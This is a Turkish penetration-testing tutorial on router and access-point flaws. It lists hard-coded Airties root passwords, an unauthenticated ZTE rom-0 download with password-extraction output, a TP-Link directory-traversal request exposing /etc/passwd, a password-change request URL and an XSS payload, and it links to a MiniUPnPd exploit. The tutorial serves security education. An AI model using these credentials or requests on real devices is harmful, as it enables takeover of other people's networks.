Sızma Testlerinde Kablosuz Ağlar Ve Atak Vektörleri – X

AP/Router Üzerinde Çıkan Zafiyetler

Access Point arabirimi, yazılımı (firmware) diğer birçok ağ cihazı gibi güvenlik zafiyetleri barındırabilirler. Bu zafiyetler ve öntanımlı hesaplar tüm kablosuz ağın güvenliğini tehlikeye atmaktadır. Aşağıda görüleceği üzere bu zafiyetler farklı markaya sahip cihazlarda çıkabilmektedir ve maalesef üreticilerden bu konuda gerekli güvenlik güncellemeleri gelmemektedir. Bu durum riskin büyüklüğünü artırmaktadır.

Genellikle gömülü Linux türevi işletim sistemleri çalıştıran bu cihazlarda popüler işletim sistemlerinde ve uygulamalardaki gibi bellek taşması türevi zafiyetler görülebilir. Bu zafiyetler cihaz üzerinde tam yetkili kod çalıştırmaya sebep olacak kritiklikte olabilirler. Böyle bir zafiyet aracılığıyla saldırgan cihazın, dolayısıyla tüm yerel ağın kontrolünü ele geçirebilir.

Airties

Örnek olarak son zamanlarda ortaya çıkan Airties modemlere ait root parolası verilebilir. İlgili zafiyete göre Air6372SO modemlerin parolasının(dsl_2012_Air) firmware üzerinden kolayca öğrenilebileceği ve uzaktan bu modemlere telnet 2323 portu üzerinden erişilebileceği görülmüştür. Aynı şekilde başka modeller üzerinde de buna benzer zafiyetler olduğu tespit edilmiştir: Airties RT-206v4 modeli root parolası: SoL_FiBeR_1357




ZTE, TP-Link, ZynOS, Huawei

Türkiye’de de sıklıkla rastlanan modem modellerinden ZTE VX10 W300 üzerinde router parolasının elde edilebileceği bir zafiyet vardır. Bu zafiyete göre

http://192.168.1.1/rom-0


dosyası basit bir GET isteğiyle herhangi bir kimlik doğrulamaya ihtiyaç duyulmadan indirilebilmektedir.

Dosya indirilerek modem yapılandırması hakkında fikir sahibi olunabilmektedir. Ancak burada router parolası ele geçirilecektir. Bunun için basit bir python script kullanılarak rom-0 dosyası okunabilir.



python rom0-decomp.py
[+] ZTE, TP-Link, ZynOS, Huawei rom-0 Configuration Decompressor
[+] Author: Osanda Malith Jayathissa
[+] Special thanks to Nick Knight
[*] Opeining rom-0 file
[+] Dump:
���� l ttnetZTE60publicpublicpublic�PPP�P�P�P�5�P�P�
                                                            �
                                                             @
[+] Filtered Strings: l ttnetZTE60publicpublicpublicPPPPPP5PP@
[~] Router Password is: ttnet



Aynı bir modemde ikinci bir zafiyet kullanılarak WAN parolası ele geçirilebilmektedir. Bunun için modem arayüzüne yukarıda ele geçirilen admin parolası kullanılarak erişilir. Interface setup, İnternet sekmesine sağ tıklanıp çerçeve kaynak kodu görüntülendiğinde PPPoE/PPPoA parolası elde edilebilmektedir.





TP-Link
İkinci bir örnek olarak TP-Link TL-WA701N  modeli 3.12.6 Build 110210 Rel.37112n firmware üzerinde Directory Traversal tipi atak tespit edilmiş. Bu atak istismar edilerek /etc/passwd dosyası okunabilmektedir.



İstek
GET /help/../../etc/passwd HTTP/1.1
Host: 192.168.178.2
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:14.0) Gecko/20100101 Firefox/14.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Referer: http://192.168.178.2/help/



Cevap
HTTP/1.1 200 OK
Server: TP-LINK Router
Connection: close
WWW-Authenticate: Basic realm=”TP-LINK Wireless Lite N Access Point WA701N”
Content-Type: text/html
<META http-equiv=Content-Type content=”text/html; charset=iso-8859-1″>
<HTML>
<HEAD><TITLE>TL-WA701N</TITLE>
<META http-equiv=Pragma content=no-cache>
<META http-equiv=Expires content=”wed, 26 Feb 1997 08:21:57 GMT”>
<LINK href=”/dynaform/css_help.css” rel=stylesheet type=”text/css”>
<SCRIPT language=”javascript” type=”text/javascript”><!–
if(window.parent == window){window.location.href=”http://192.168.178.2″;}
function Click(){ return false;}
document.oncontextmenu=Click;
function doPrev(){history.go(-1);}
//–></SCRIPT>
root:x:0:0:root:/root:/bin/sh
Admin:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/bin/sh
daemon:x:2:2:daemon:/usr/sbin:/bin/sh
adm:x:3:4:adm:/adm:/bin/sh
lp:x:4:7:lp:/var/spool/lpd:/bin/sh
sync:x:5:0:sync:/bin:/bin/sync
shutdown:x:6:11:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
uucp:x:10:14:uucp:/var/spool/uucp:/bin/sh
operator:x:11:0:Operator:/var:/bin/sh
nobody:x:65534:65534:nobody:/home:/bin/sh
ap71:x:500:0:Linux User,,,:/root:/bin/sh



Zafiyet kullanıcı adı, parola değiştirme şeklinde farklı atak vektörleriyle istismar edilebilir.



İstek
http://192.168.178.2/userRpm/ChangeLoginPwdRpm.htm?oldname=admin&oldpassword=XXXX&newname=admin&newpassword=XXXX
&newpassword2=XXXX&Save=Save



Veya XSS ile MAC filtreleme ayarları değiştirilebilir.



İstek

http://192.168.178.2/userRpm/WlanMacFilterRpm.htm?Mac=00-11-22-33-44-55&Desc=%22%3E%3Cimg+src%3D%220%22+onerror%3Dalert%281)>&
Type=1&entryEnabled=1&Changed=0&SelIndex=0&Page=1&vapIdx=1&Save=Save

Misfortune Cookie
CVE-2014-9222 kodlu misfortune cookie zafiyeti, saldırganlara AP üzerinde kimlik doğrulamasız Administrator hakları vermektedir. RomPager isimli gömülü web sunucuda keşfedilen bu zafiyet 200’den fazla modelde mevcuttur. Saldırganlar bu zafiyeti istismar ederek tüm trafiği izleyebilirler. [Link]

UPNP

Elektronik cihazların kolayca ağa dahil olması ve birbirleriyle uyumlu çalışabilmesi amacıyla kullanılan bir servis olan UPnP üzerinde de bilinen kritik bir zafiyet vardır. Bu zafiyet istismar edilerek WAN üzerinden AP’ye uzaktan bağlantı sağlanabilir, cihazdan yapılandırma dosyaları çekilebilir. 

BGA’dan Onur ALANBEL’in MiniUPnPd üzerindeki bir zafiyet için yazdığı istismar kodu, Türkiye’de yaygın olarak kullanılan modemlere root haklarıyla bağlanarak tüm trafiği yönlendirme, yapılandırma dosyalarına erişim, vb. ataklar yapılabileceğini göstermiştir. Bulunan yığın taşması zafiyeti istismar edilerek tam yetkili erişim sağlanan örnek çalışmaya https://www.exploit-db.com/docs/36806.pdf adresinden erişilebilir. İstismar kodlarına ise https://www.exploit-db.com/exploits/36839/ bu bağlantıdan ulaşılabilir.